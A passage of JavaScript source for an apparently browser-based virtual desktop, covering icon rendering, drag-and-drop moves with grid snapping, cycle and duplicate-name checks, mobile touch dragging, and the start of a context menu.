App.selection,   // main desktop's own selection (same reference as App.selection initially)\n\n  render() {\n    // Restore main desktop's folder + selection as the active App context\n    App._winCtx   = null;\n    App.folder    = this._desktopFolder;\n    App.selection = this._sel;\n\n    this._renderBreadcrumb();\n    this._renderIcons();\n    this.updateTaskbar();\n    // Re-render all open folder windows\n    if (typeof WinManager !== 'undefined') WinManager.renderAll();\n  },\n\n  _renderBreadcrumb() {\n    const bc     = document.getElementById('breadcrumb');\n    const crumbs = VFS.breadcrumb(this._desktopFolder);\n    bc.innerHTML = '';\n    crumbs.forEach((n, i) => {\n      const span = document.createElement('span');\n      span.className   = 'breadcrumb-item' + (i === crumbs.length - 1 ? ' current' : '');\n      span.textContent = n.id === 'root' ? ('/~/' + App.container.name) : n.name;\n      if (i < crumbs.length - 1) {\n        span.addEventListener('click', () => {\n          this._desktopFolder = n.id;\n          this._sel.clear();\n          this.render();\n        });\n      }\n      bc.appendChild(span);\n      if (i < crumbs.length - 1) {\n        const sep = document.createElement('span');\n        sep.className   = 'breadcrumb-sep';\n        sep.textContent = ' › ';\n        bc.appendChild(sep);\n      }\n    });\n  },\n\n  _renderIcons() {\n    const area = document.getElementById('desktop-area');\n    area.querySelectorAll(':scope > .file-item').forEach(e => e.remove());\n\n    const items = VFS.children(this._desktopFolder);\n    items.sort((a, b) => {\n      if (a.type !== b.type) return a.type === 'folder' ? -1 : 1;\n      return a.name.localeCompare(b.name);\n    });\n\n    items.forEach((node, idx) => {\n      let pos = VFS.getPos(this._desktopFolder, node.id);\n      if (!pos) {\n        pos = VFS.autoPos(this._desktopFolder, idx, area);\n        VFS.setPos(this._desktopFolder, node.id, pos.x, pos.y);\n      }\n      const div = _buildIconEl(node, pos);\n      if (this._sel.has(node.id)) div.classList.add('selected');\n      // pop-in animation with stagger\n      div.style.animation = `iconPop 0.12s ease ${Math.min(idx * 15, 200)}ms both`;\n      div.addEventListener('mousedown',   e => this._onIconMousedown(e, div, node));\n      div.addEventListener('dblclick',    e => { e.stopPropagation(); this._openNode(node); });\n      div.addEventListener('contextmenu', e => { e.preventDefault(); e.stopPropagation(); this._contextIcon(e, node); });\n      // Mobile: single tap → context menu, double tap → open\n      { let _ts = 0, _tm = false, _lastTap = 0;\n        div.addEventListener('touchstart', () => { _ts = Date.now(); _tm = false; }, { passive: true });\n        div.addEventListener('touchmove',  () => { _tm = true; }, { passive: true });\n        div.addEventListener('touchend', e => {\n          if (_tm || Date.now() - _ts > 350) return;\n          e.preventDefault();\n          const now = Date.now(), t = e.changedTouches[0];\n          if (now - _lastTap < 300) { _lastTap = 0; this._openNode(node); }\n          else { _lastTap = now; this._contextIcon({ clientX: t.clientX, clientY: t.clientY, ctrlKey: false, metaKey: false, preventDefault(){}, stopPropagation(){} }, node); }\n        }); }\n      area.appendChild(div);\n    });\n\n    this._updateSelectionBar();\n    if (typeof _applyCutStyles !== 'undefined') _applyCutStyles();\n  },\n\n  // Incremental update: add new icons, remove gone ones, sync names — NO re-animation for existing\n  _patchIcons() {\n    App._winCtx   = null;\n    App.folder    = this._desktopFolder;\n    App.selection = this._sel;\n\n    const area    = document.getElementById('desktop-area');\n    const nodes   = VFS.children(this._desktopFolder);\n    const nodeMap = new Map(nodes.map(n => [n.id, n]));\n\n    // Remove elements for nodes no longer in this folder\n    area.querySelectorAll(':scope > .file-item').forEach(el => {\n      if (!nodeMap.has(el.dataset.id)) el.remove();\n    });\n\n    // Add new icons; sync names of existing ones (no re-animate existing)\n    nodes.forEach((node, idx) => {\n      let pos = VFS.getPos(this._desktopFolder, node.id);\n      if (!pos) {\n        pos = VFS.autoPos(this._desktopFolder, idx, area);\n        VFS.setPos(this._desktopFolder, node.id, pos.x, pos.y);\n      }\n      const existing = area.querySelector(`:scope > .file-item[data-id=\"${node.id}\"]`);\n      if (existing) {\n        const nameEl = existing.querySelector('.file-name');\n        if (nameEl && nameEl.textContent !== node.name) nameEl.textContent = node.name;\n        // Update folder color if changed\n        if (node.type === 'folder') {\n          const thumbEl = existing.querySelector('.file-thumb.folder-icon');\n          if (thumbEl) thumbEl.innerHTML = getFolderSVG(node.color);\n        }\n      } else {\n        const div = _buildIconEl(node, pos);\n        if (this._sel.has(node.id)) div.classList.add('selected');\n        div.style.animation = 'iconPop 0.12s ease both';\n        div.addEventListener('mousedown',   e => this._onIconMousedown(e, div, node));\n        div.addEventListener('dblclick',    e => { e.stopPropagation(); this._openNode(node); });\n        div.addEventListener('contextmenu', e => { e.preventDefault(); e.stopPropagation(); this._contextIcon(e, node); });\n        // Mobile: single tap → context menu, double tap → open\n        { let _ts = 0, _tm = false, _lastTap = 0;\n          div.addEventListener('touchstart', () => { _ts = Date.now(); _tm = false; }, { passive: true });\n          div.addEventListener('touchmove',  () => { _tm = true; }, { passive: true });\n          div.addEventListener('touchend', e => {\n            if (_tm || Date.now() - _ts > 350) return;\n            e.preventDefault();\n            const now = Date.now(), t = e.changedTouches[0];\n            if (now - _lastTap < 300) { _lastTap = 0; this._openNode(node); }\n            else { _lastTap = now; this._contextIcon({ clientX: t.clientX, clientY: t.clientY, ctrlKey: false, metaKey: false, preventDefault(){}, stopPropagation(){} }, node); }\n          }); }\n        area.appendChild(div);\n      }\n    });\n\n    this._updateSelectionBar();\n    if (typeof _applyCutStyles !== 'undefined') _applyCutStyles();\n    this.updateTaskbar();\n    if (typeof WinManager !== 'undefined') WinManager.renderAll();\n  },\n\n  _onIconMousedown(e, el, node) {\n    if (e.button !== 0) return;\n    hideCtxMenu();\n    e.stopPropagation();\n    e.preventDefault(); // prevent text selection while dragging\n    _cancelHoverTooltip();\n\n    if (!e.ctrlKey && !e.metaKey && !this._sel.has(node.id)) {\n      this._sel.clear();\n      document.querySelectorAll('#desktop-area > .file-item.selected').forEach(i => i.classList.remove('selected'));\n    }\n    this._sel.add(node.id);\n    el.classList.add('selected');\n    this._updateSelectionBar();\n\n    // Elevate z-index of all selected items above folder windows during drag\n    this._sel.forEach(id => {\n      const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n      if (item) item.style.zIndex = '7900';\n    });\n\n    const startX = e.clientX, startY = e.clientY;\n    const area = document.getElementById('desktop-area');\n    const areaRect = area.getBoundingClientRect();\n    const elRect = el.getBoundingClientRect();\n    const clickOffX = e.clientX - elRect.left;\n    const clickOffY = e.clientY - elRect.top;\n    const startScrollX = area.scrollLeft, startScrollY = area.scrollTop;\n    const startPosMap = {};\n    this._sel.forEach(id => {\n      const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n      if (item) startPosMap[id] = { x: parseInt(item.style.left), y: parseInt(item.style.top) };\n    });\n    // Build occupied map for snap preview (exclude dragged items)\n    const occupiedAtStart = new Map();\n    VFS.children(this._desktopFolder).forEach(n => {\n      if (this._sel.has(n.id)) return;\n      const p = VFS.getPos(this._desktopFolder, n.id);\n      if (p) occupiedAtStart.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n    });\n    let snapPreviewEls = [];\n    let fwSnapPreviewEls = [];  // snap previews inside a hovered folder-window\n    let moved = false, hoverFolder = null, hoverWin = null, lastX = e.clientX, lastY = e.clientY;\n\n    const onMove = mv => {\n      lastX = mv.clientX; lastY = mv.clientY;\n      const mainPos = startPosMap[node.id];\n      const targetMainX = mv.clientX - areaRect.left + area.scrollLeft - clickOffX;\n      const targetMainY = mv.clientY - areaRect.top + area.scrollTop - clickOffY;\n      const dx = targetMainX - mainPos.x;\n      const dy = targetMainY - mainPos.y;\n      if (!moved && (Math.abs(mv.clientX - startX) + Math.abs(mv.clientY - startY)) > 4) {\n        moved = true; _isDragging = true; _cancelHoverTooltip();\n      }\n      if (!moved) return;\n      this._sel.forEach(id => {\n        const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n        const sp   = startPosMap[id];\n        if (item && sp) { item.style.left = (sp.x + dx) + 'px'; item.style.top = (sp.y + dy) + 'px'; }\n      });\n      // Highlight folder under cursor (hide dragged items briefly for elementFromPoint)\n      this._sel.forEach(id => {\n        const it = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n        if (it) it.style.pointerEvents = 'none';\n      });\n      const target   = document.elementFromPoint(mv.clientX, mv.clientY);\n      this._sel.forEach(id => {\n        const it = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n        if (it) it.style.pointerEvents = '';\n      });\n      const folderEl = target?.closest('.file-item[data-id]');\n      const newHover = folderEl && !this._sel.has(folderEl.dataset.id) &&\n                       VFS.node(folderEl.dataset.id)?.type === 'folder' ? folderEl.dataset.id : null;\n      if (newHover !== hoverFolder) {\n        if (hoverFolder) document.querySelectorAll(`.file-item[data-id=\"${hoverFolder}\"]`).forEach(el => el.classList.remove('drag-target'));\n        hoverFolder = newHover;\n        if (hoverFolder && folderEl) folderEl.classList.add('drag-target');\n      }\n      // Detect if cursor is over a folder-window (but not hovering a folder icon)\n      const fwEl = !hoverFolder ? target?.closest('.folder-window') : null;\n      const curWin = fwEl ? (typeof WinManager !== 'undefined' ? WinManager._wins.find(w => w.el === fwEl) : null) : null;\n      if (curWin !== hoverWin) {\n        fwSnapPreviewEls.forEach(p => p.remove()); fwSnapPreviewEls = [];\n        hoverWin = curWin;\n      }\n      // Snap preview: folder-icon hover > folder-window hover > desktop\n      if (hoverFolder) {\n        snapPreviewEls.forEach(p => p.style.display = 'none');\n        fwSnapPreviewEls.forEach(p => p.style.display = 'none');\n      } else if (hoverWin) {\n        // Show snap preview inside the hovered folder window\n        snapPreviewEls.forEach(p => p.style.display = 'none');\n        const winArea = hoverWin.el.querySelector('.fw-area');\n        const winRect = winArea.getBoundingClientRect();\n        const dropX   = mv.clientX - winRect.left + winArea.scrollLeft - clickOffX;\n        const dropY   = mv.clientY - winRect.top  + winArea.scrollTop - clickOffY;\n        const winOcc  = new Map();\n        VFS.children(hoverWin.folderId).forEach(n => {\n          const p = VFS.getPos(hoverWin.folderId, n.id);\n          if (p) winOcc.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n        });\n        const selIds = [...this._sel];\n        while (fwSnapPreviewEls.length < selIds.length) {\n          const pEl = document.createElement('div'); pEl.className = 'snap-preview';\n          winArea.appendChild(pEl); fwSnapPreviewEls.push(pEl);\n        }\n        while (fwSnapPreviewEls.length > selIds.length) { fwSnapPreviewEls.pop().remove(); }\n        const snapOcc = new Map(winOcc);\n        const mainSp = startPosMap[node.id];\n        selIds.forEach((id, i) => {\n          const sp = startPosMap[id];\n          const offX = sp && mainSp ? sp.x - mainSp.x : 0;\n          const offY = sp && mainSp ? sp.y - mainSp.y : 0;\n          const snapped = _snapFreeCell(dropX + offX, dropY + offY, snapOcc);\n          const cx = Math.round((snapped.x - 8) / GRID_X), cy = Math.round((snapped.y - 8) / GRID_Y);\n          snapOcc.set(`${cx}_${cy}`, id);\n          fwSnapPreviewEls[i].style.left = snapped.x + 'px';\n          fwSnapPreviewEls[i].style.top  = snapped.y + 'px';\n          fwSnapPreviewEls[i].style.display = '';\n        });\n      } else {\n        // Snap preview on desktop\n        fwSnapPreviewEls.forEach(p => p.style.display = 'none');\n        const mainSp = startPosMap[node.id];\n        if (mainSp) {\n          const selIds = [...this._sel];\n          while (snapPreviewEls.length < selIds.length) {\n            const pEl = document.createElement('div'); pEl.className = 'snap-preview';\n            area.appendChild(pEl); snapPreviewEls.push(pEl);\n          }\n          while (snapPreviewEls.length > selIds.length) { snapPreviewEls.pop().remove(); }\n          // Each item finds its own nearest free cell (so previews never overlap folders)\n          const snapOccupied = new Map(occupiedAtStart);\n          selIds.forEach((id, i) => {\n            const sp = startPosMap[id]; if (!sp) return;\n            const snapped = _snapFreeCell(sp.x + dx, sp.y + dy, snapOccupied);\n            const cx = Math.round((snapped.x - 8) / GRID_X);\n            const cy = Math.round((snapped.y - 8) / GRID_Y);\n            snapOccupied.set(`${cx}_${cy}`, id);\n            snapPreviewEls[i].style.left = snapped.x + 'px';\n            snapPreviewEls[i].style.top  = snapped.y + 'px';\n            snapPreviewEls[i].style.display = '';\n          });\n        }\n      }\n    };\n\n    const onUp = async () => {\n      document.removeEventListener('mousemove', onMove);\n      document.removeEventListener('mouseup',   onUp);\n      _isDragging = false;\n      snapPreviewEls.forEach(p => p.remove()); snapPreviewEls = [];\n      fwSnapPreviewEls.forEach(p => p.remove()); fwSnapPreviewEls = [];\n      if (hoverFolder) document.querySelectorAll(`.file-item[data-id=\"${hoverFolder}\"]`).forEach(el => el.classList.remove('drag-target'));\n\n      // Restore z-index (will be overwritten by next render anyway)\n      this._sel.forEach(id => {\n        const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n        if (item) item.style.zIndex = '';\n      });\n\n      if (moved) {\n        // Check if dropped onto a folder window\n        const dropTarget = document.elementFromPoint(lastX, lastY);\n        const fwEl = dropTarget?.closest('.folder-window');\n        const isChangingFolder = (fwEl && WinManager._wins.find(w => w.el === fwEl)) || hoverFolder;\n\n        let blocked = null;\n        if (isChangingFolder && typeof WinManager !== 'undefined') {\n          const openFolderIds = new Set();\n          WinManager._wins.forEach(w => {\n            let cur = w.folderId;\n            while (cur && cur !== 'root') { openFolderIds.add(cur); cur = (VFS.node(cur) || {}).parentId; }\n          });\n          // Determine drop target folder to skip items that would produce a cycle anyway\n          const _targetFId = hoverFolder ||\n            (fwEl ? WinManager._wins.find(w => w.el === fwEl)?.folderId : null);\n          blocked = Array.from(this._sel).find(id => {\n            const n = VFS.node(id);\n            if (!n || n.type !== 'folder' || !openFolderIds.has(id)) return false;\n            // If it's a cycle, the cycle check will handle it — don't pre-empt with wrong error\n            if (_targetFId && VFS.wouldCycle(id, _targetFId)) return false;\n            return true;\n          });\n        }\n        if (blocked) {\n          this._sel.forEach(id => {\n            const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n            const sp   = startPosMap[id];\n            if (item && sp) {\n              item.style.transition = 'left 0.12s ease, top 0.12s ease';\n              item.style.left = sp.x + 'px'; item.style.top = sp.y + 'px';\n              setTimeout(() => { if (item.parentNode) item.style.transition = ''; }, 150);\n            }\n          });\n          toast(`“${VFS.node(blocked)?.name}” is open in Explorer — close the window first`, 'error');\n          return;\n        }\n\n        if (fwEl && !hoverFolder) {\n          const winTarget = WinManager._wins.find(w => w.el === fwEl);\n          if (winTarget) {\n            // Pre-check duplicates before moving\n            const targetChildren = VFS.children(winTarget.folderId);\n            const existingNames  = new Set(targetChildren.map(n => n.name.toLowerCase()));\n            const conflicts = [];\n            this._sel.forEach(id => {\n              const n = VFS.node(id); if (!n) return;\n              if (n.parentId !== winTarget.folderId && existingNames.has(n.name.toLowerCase())) conflicts.push(n.name);\n            });\n            if (conflicts.length) {\n              this._sel.forEach(id => {\n                const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n                const sp   = startPosMap[id];\n                if (item && sp) {\n                  item.style.transition = 'left 0.12s ease, top 0.12s ease';\n                  item.style.left = sp.x + 'px'; item.style.top = sp.y + 'px';\n                  setTimeout(() => { if (item.parentNode) item.style.transition = ''; }, 150);\n                }\n              });\n              toast(`Cannot move: \"${conflicts[0]}\" already exists in target folder`, 'error');\n              return;\n            }\n            // Pre-check: verify no cycles before attempting any move\n            const winCycled = [];\n            this._sel.forEach(id => {\n              if (VFS.wouldCycle(id, winTarget.folderId)) winCycled.push(VFS.node(id)?.name || id);\n            });\n            if (winCycled.length) {\n              this._sel.forEach(id => {\n                const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n                const sp   = startPosMap[id];\n                if (item && sp) {\n                  item.style.transition = 'left 0.12s ease, top 0.12s ease';\n                  item.style.left = sp.x + 'px'; item.style.top = sp.y + 'px';\n                  setTimeout(() => { if (item.parentNode) item.style.transition = ''; }, 150);\n                }\n              });\n              toast(`Cannot move \"${winCycled[0]}\" into itself or a subfolder`, 'error');\n              return;\n            }\n            // Smart drop: calculate position in target window at cursor location\n            const targetArea = winTarget.el.querySelector('.fw-area');\n            const tRect      = targetArea.getBoundingClientRect();\n            const dropPosX   = lastX - tRect.left + targetArea.scrollLeft - clickOffX;\n            const dropPosY   = lastY - tRect.top  + targetArea.scrollTop - clickOffY;\n            const occupied   = new Map();\n            VFS.children(winTarget.folderId).forEach(n => {\n              const p = VFS.getPos(winTarget.folderId, n.id);\n              if (p) occupied.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n            });\n            const movedIds = [];\n            const mainSp = startPosMap[node.id];\n            this._sel.forEach(id => {\n              const n = VFS.node(id); if (!n) return;\n              const result = VFS.move(id, winTarget.folderId);\n              if (result === 'duplicate') { toast(`\"${n.name}\" already exists in target folder`, 'error'); return; }\n              if (result === 'cycle')     { toast(`Cannot move \"${n.name}\" into itself or a subfolder`, 'error'); return; }\n              if (result !== 'ok')        { return; }\n              const sp = startPosMap[id];\n              const offX = sp && mainSp ? sp.x - mainSp.x : 0;\n              const offY = sp && mainSp ? sp.y - mainSp.y : 0;\n              const snapped = _snapFreeCell(dropPosX + offX, dropPosY + offY, occupied);\n              VFS.setPos(winTarget.folderId, id, snapped.x, snapped.y);\n              const cx = Math.round((snapped.x - 8) / GRID_X), cy = Math.round((snapped.y - 8) / GRID_Y);\n              occupied.set(`${cx}_${cy}`, id);\n              movedIds.push(id);\n            });\n            // Remove moved icons from desktop DOM and move selection\n            winTarget.selection.clear();\n            movedIds.forEach(id => {\n              this._sel.delete(id);\n              winTarget.selection.add(id);\n              area.querySelector(`:scope > .file-item[data-id=\"${id}\"]`)?.remove();\n            });\n            // Snap back items that failed to move (cycle/duplicate) to their start positions\n            this._sel.forEach(id => {\n              const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n              const sp   = startPosMap[id];\n              if (item && sp) {\n                item.style.transition = 'left 0.12s ease, top 0.12s ease';\n                item.style.left = sp.x + 'px'; item.style.top = sp.y + 'px';\n                setTimeout(() => { if (item.parentNode) item.style.transition = ''; }, 150);\n              }\n            });\n            this._updateSelectionBar();\n            this.updateTaskbar();\n            await saveVFS();\n            winTarget.render();\n            return;\n          }\n        }\n        if (hoverFolder) {\n          // Pre-check: verify no cycles before moving anything\n          const cycled = [];\n          this._sel.forEach(id => {\n            if (id === hoverFolder) return;\n            if (VFS.wouldCycle(id, hoverFolder)) cycled.push(VFS.node(id)?.name || id);\n          });\n          if (cycled.length) {\n            this._sel.forEach(id => {\n              const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n              const sp   = startPosMap[id];\n              if (item && sp) {\n                item.style.transition = 'left 0.12s ease, top 0.12s ease';\n                item.style.left = sp.x + 'px'; item.style.top = sp.y + 'px';\n                setTimeout(() => { if (item.parentNode) item.style.transition = ''; }, 150);\n              }\n            });\n            toast(`Cannot move \"${cycled[0]}\" into itself or a subfolder`, 'error');\n            return;\n          }\n          // Pre-check: verify no duplicate names before moving anything\n          const targetChildren = VFS.children(hoverFolder);\n          const existingNames  = new Set(targetChildren.map(n => n.name.toLowerCase()));\n          const conflicts = [];\n          this._sel.forEach(id => {\n            if (id === hoverFolder) return;\n            const n = VFS.node(id); if (!n) return;\n            if (existingNames.has(n.name.toLowerCase())) conflicts.push(n.name);\n          });\n          if (conflicts.length) {\n            // Snap items back to their original positions\n            this._sel.forEach(id => {\n              const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n              const sp   = startPosMap[id];\n              if (item && sp) {\n                item.style.transition = 'left 0.12s ease, top 0.12s ease';\n                item.style.left = sp.x + 'px'; item.style.top = sp.y + 'px';\n                setTimeout(() => { if (item.parentNode) item.style.transition = ''; }, 150);\n              }\n            });\n            toast(`Cannot move: \"${conflicts[0]}\" already exists in \"${VFS.node(hoverFolder)?.name}\"`, 'error');\n            return;\n          }\n          const movedIds = [];\n          this._sel.forEach(id => {\n            if (id === hoverFolder) return;\n            const n = VFS.node(id); if (!n) return;\n            const result = VFS.move(id, hoverFolder);\n            if (result === 'duplicate') { toast(`\"${n.name}\" already exists in \"${VFS.node(hoverFolder)?.name}\"`, 'error'); return; }\n            if (result === 'cycle')     { toast(`Cannot move \"${n.name}\" into itself or a subfolder`, 'error'); return; }\n            if (result !== 'ok')        { return; }\n            movedIds.push(id);\n          });\n          // Remove moved icons from DOM and try to select in target window if open\n          const targetWinForFolder = typeof WinManager !== 'undefined' ? WinManager._wins.find(w => w.folderId === hoverFolder) : null;\n          if (targetWinForFolder) targetWinForFolder.selection.clear();\n          \n          movedIds.forEach(id => {\n            this._sel.delete(id);\n            if (targetWinForFolder) targetWinForFolder.selection.add(id);\n            area.querySelector(`:scope > .file-item[data-id=\"${id}\"]`)?.remove();\n          });\n          this._updateSelectionBar();\n          this.updateTaskbar();\n          await saveVFS();\n          // Update any open window for the target folder\n          if (typeof WinManager !== 'undefined') WinManager.renderAll();\n        } else {\n          // Build map of currently-occupied cells (excluding dragged items)\n          const occupied = new Map();\n          VFS.children(this._desktopFolder).forEach(n => {\n            if (this._sel.has(n.id)) return;\n            const p = VFS.getPos(this._desktopFolder, n.id);\n            if (p) occupied.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n          });\n\n          this._sel.forEach(id => {\n            const item = document.querySelector(`#desktop-area > .file-item[data-id=\"${id}\"]`);\n            if (!item) return;\n            const rawX = parseInt(item.style.left), rawY = parseInt(item.style.top);\n            const snapped = _snapFreeCell(rawX, rawY, occupied);\n            const cx = Math.round((snapped.x - 8) / GRID_X);\n            const cy = Math.round((snapped.y - 8) / GRID_Y);\n            occupied.set(`${cx}_${cy}`, id);\n            // Smooth animate to snapped position\n            item.style.transition = 'left 0.12s ease, top 0.12s ease';\n            item.style.left = snapped.x + 'px';\n            item.style.top  = snapped.y + 'px';\n            setTimeout(() => { if (item.parentNode) item.style.transition = ''; }, 150);\n            VFS.setPos(this._desktopFolder, id, snapped.x, snapped.y);\n          });\n          await saveVFS();\n        }\n      }\n    };\n\n    document.addEventListener('mousemove', onMove);\n    document.addEventListener('mouseup',   onUp);\n  },\n\n  /* ---- Touch-drag for mobile: long-press (400ms) + drag icons ---- */\n  _initTouchDrag(area) {\n    // Only active on touch devices — no-op on desktop\n    if (typeof window.ontouchstart === 'undefined' && !navigator.maxTouchPoints) return;\n\n    let _touchDragNode = null, _touchDragEl = null;\n    let _tdStartX = 0, _tdStartY = 0, _tdOffX = 0, _tdOffY = 0;\n    let _tdMoved  = false, _tdTimer = null, _tdActive = false;\n    let _tdStartPos = {}, _tdHoverFolder = null;\n\n    area.addEventListener('touchstart', e => {\n      if (e.touches.length !== 1) return;\n      const t = e.touches[0];\n      const iconEl = t.target?.closest('#desktop-area > .file-item[data-id]');\n      if (!iconEl) return;\n\n      const nodeId = iconEl.dataset.id;\n      const node   = VFS.node(nodeId);\n      if (!node) return;\n\n      _tdMoved = false; _tdActive = false;\n      _tdStartX = t.clientX; _tdStartY = t.clientY;\n      const r = iconEl.getBoundingClientRect();\n      _tdOffX = t.clientX - r.left;\n      _tdOffY = t.clientY - r.top;\n\n      _tdTimer = setTimeout(() => {\n        if (_tdMoved) return;\n        _tdActive = true;\n        _touchDragNode = node;\n        _touchDragEl   = iconEl;\n\n        // Select this icon\n        if (!this._sel.has(nodeId)) {\n          this._sel.clear();\n          area.querySelectorAll('.file-item.selected').forEach(i => i.classList.remove('selected'));\n          this._sel.add(nodeId);\n          iconEl.classList.add('selected');\n          this._updateSelectionBar();\n        }\n\n        // Snapshot positions of all selected\n        _tdStartPos = {};\n        this._sel.forEach(id => {\n          const el = area.querySelector(`:scope > .file-item[data-id=\"${id}\"]`);\n          if (el) _tdStartPos[id] = { x: parseInt(el.style.left), y: parseInt(el.style.top) };\n        });\n\n        iconEl.classList.add('dragging');\n        _cancelHoverTooltip();\n        e.preventDefault();\n      }, 400);\n    }, { passive: true });\n\n    area.addEventListener('touchmove', e => {\n      if (e.touches.length !== 1) return;\n      const t = e.touches[0];\n      const dx = t.clientX - _tdStartX, dy = t.clientY - _tdStartY;\n      if (Math.abs(dx) + Math.abs(dy) > 5) _tdMoved = true;\n\n      if (!_tdActive || !_touchDragNode) return;\n      e.preventDefault();\n\n      const areaRect = area.getBoundingClientRect();\n      const mainSp   = _tdStartPos[_touchDragNode.id];\n      const rawX     = t.clientX - areaRect.left + area.scrollLeft - _tdOffX;\n      const rawY     = t.clientY - areaRect.top  + area.scrollTop  - _tdOffY;\n      const ddx      = rawX - mainSp.x, ddy = rawY - mainSp.y;\n\n      this._sel.forEach(id => {\n        const el = area.querySelector(`:scope > .file-item[data-id=\"${id}\"]`);\n        const sp = _tdStartPos[id];\n        if (el && sp) { el.style.left = (sp.x + ddx) + 'px'; el.style.top = (sp.y + ddy) + 'px'; }\n      });\n\n      // Highlight folder under finger\n      this._sel.forEach(id => {\n        const el = area.querySelector(`:scope > .file-item[data-id=\"${id}\"]`);\n        if (el) el.style.pointerEvents = 'none';\n      });\n      const hit = document.elementFromPoint(t.clientX, t.clientY);\n      this._sel.forEach(id => {\n        const el = area.querySelector(`:scope > .file-item[data-id=\"${id}\"]`);\n        if (el) el.style.pointerEvents = '';\n      });\n      const folderEl = hit?.closest('.file-item[data-id]');\n      const newHover = folderEl && !this._sel.has(folderEl.dataset.id) &&\n                       VFS.node(folderEl.dataset.id)?.type === 'folder' ? folderEl.dataset.id : null;\n      if (newHover !== _tdHoverFolder) {\n        if (_tdHoverFolder) area.querySelector(`.file-item[data-id=\"${_tdHoverFolder}\"]`)?.classList.remove('drag-target');\n        _tdHoverFolder = newHover;\n        if (_tdHoverFolder && folderEl) folderEl.classList.add('drag-target');\n      }\n    }, { passive: false });\n\n    area.addEventListener('touchend', async e => {\n      if (_tdTimer) { clearTimeout(_tdTimer); _tdTimer = null; }\n      if (!_tdActive || !_touchDragNode) { _tdActive = false; _touchDragNode = null; return; }\n      _tdActive = false;\n\n      const node = _touchDragNode; _touchDragNode = null;\n      _touchDragEl?.classList.remove('dragging');\n      if (_tdHoverFolder) area.querySelector(`.file-item[data-id=\"${_tdHoverFolder}\"]`)?.classList.remove('drag-target');\n\n      const occupied = new Map();\n      if (_tdHoverFolder) {\n        // Move into folder\n        const cycled = [...this._sel].filter(id => id !== _tdHoverFolder && VFS.wouldCycle(id, _tdHoverFolder));\n        if (cycled.length) {\n          _snapBack(_tdStartPos); toast(`Cannot move \"${VFS.node(cycled[0])?.name}\" into itself`, 'error'); return;\n        }\n        const tgtChildren = VFS.children(_tdHoverFolder);\n        const existing    = new Set(tgtChildren.map(n => n.name.toLowerCase()));\n        const dupe = [...this._sel].find(id => id !== _tdHoverFolder && existing.has(VFS.node(id)?.name?.toLowerCase()));\n        if (dupe) {\n          _snapBack(_tdStartPos); toast(`\"${VFS.node(dupe)?.name}\" already exists in target folder`, 'error'); return;\n        }\n        const moved = [];\n        this._sel.forEach(id => {\n          if (id === _tdHoverFolder) return;\n          if (VFS.move(id, _tdHoverFolder) === 'ok') { moved.push(id); area.querySelector(`:scope > .file-item[data-id=\"${id}\"]`)?.remove(); }\n        });\n        moved.forEach(id => this._sel.delete(id));\n        _tdHoverFolder = null;\n      } else {\n        // Snap to grid in place\n        VFS.children(this._desktopFolder).forEach(n => {\n          if (this._sel.has(n.id)) return;\n          const p = VFS.getPos(this._desktopFolder, n.id);\n          if (p) occupied.set(`${Math.round((p.x-8)/GRID_X)}_${Math.round((p.y-8)/GRID_Y)}`, n.id);\n        });\n        this._sel.forEach(id => {\n          const el = area.querySelector(`:scope > .file-item[data-id=\"${id}\"]`);\n          if (!el) return;\n          const snapped = _snapFreeCell(parseInt(el.style.left), parseInt(el.style.top), occupied);\n          const cx = Math.round((snapped.x - 8) / GRID_X), cy = Math.round((snapped.y - 8) / GRID_Y);\n          occupied.set(`${cx}_${cy}`, id);\n          el.style.transition = 'left .12s ease,top .12s ease';\n          el.style.left = snapped.x + 'px'; el.style.top = snapped.y + 'px';\n          setTimeout(() => { if (el.parentNode) el.style.transition = ''; }, 150);\n          VFS.setPos(this._desktopFolder, id, snapped.x, snapped.y);\n        });\n      }\n      this._updateSelectionBar(); this.updateTaskbar(); await saveVFS();\n      if (typeof WinManager !== 'undefined') WinManager.renderAll();\n\n      function _snapBack(startPos) {\n        Object.entries(startPos).forEach(([id, sp]) => {\n          const el = area.querySelector(`:scope > .file-item[data-id=\"${id}\"]`);\n          if (el && sp) {\n            el.style.transition = 'left .12s ease,top .12s ease';\n            el.style.left = sp.x + 'px'; el.style.top = sp.y + 'px';\n            setTimeout(() => { if (el.parentNode) el.style.transition = ''; }, 150);\n          }\n        });\n      }\n    });\n  },\n\n  _openNode(node) {\n    hideCtxMenu();\n    if (node.type === 'folder') {\n      // Folders always open in a new floating window\n      WinManager.open(node.id);\n    } else {\n      openFile(node);\n    }\n  },\n\n  _contextIcon(e, node) {\n    if (!e.ctrlKey && !e.metaKey && !this._sel.has(node.id)) {\n      this._sel.clear();\n      document.querySelectorAll('#desktop-area > .file-item.selected').forEach(i => i.classList.remove('selected'));\n    }\n    this._sel.add(node.id);\n    document.querySelector(`#desktop-area > .file-item[data-id=\"${node.id}\"]`)?.classList.add('selected');\n    this._updateSelectionBar();\n    const _sync = () => { App.folder = this._desktopFolder; App.selection = this._sel; App._winCtx = null; };\n    const items = [];\n\n    if (node.type === 'folder') {\n      items.push({ label: 'Open',               icon: Icons.open,      action: () => WinManager.open(node.id) });\n      items.push({ label: 'Open in New Window', icon: Icons.newfolder, action: () => WinManager.open(node.id) });\n      items.push({ label: 'Folder Color', icon: Icons.folder, submenu: FOLDER_COLORS.map(fc => ({\n        label: fc.label,\n        icon: `<span 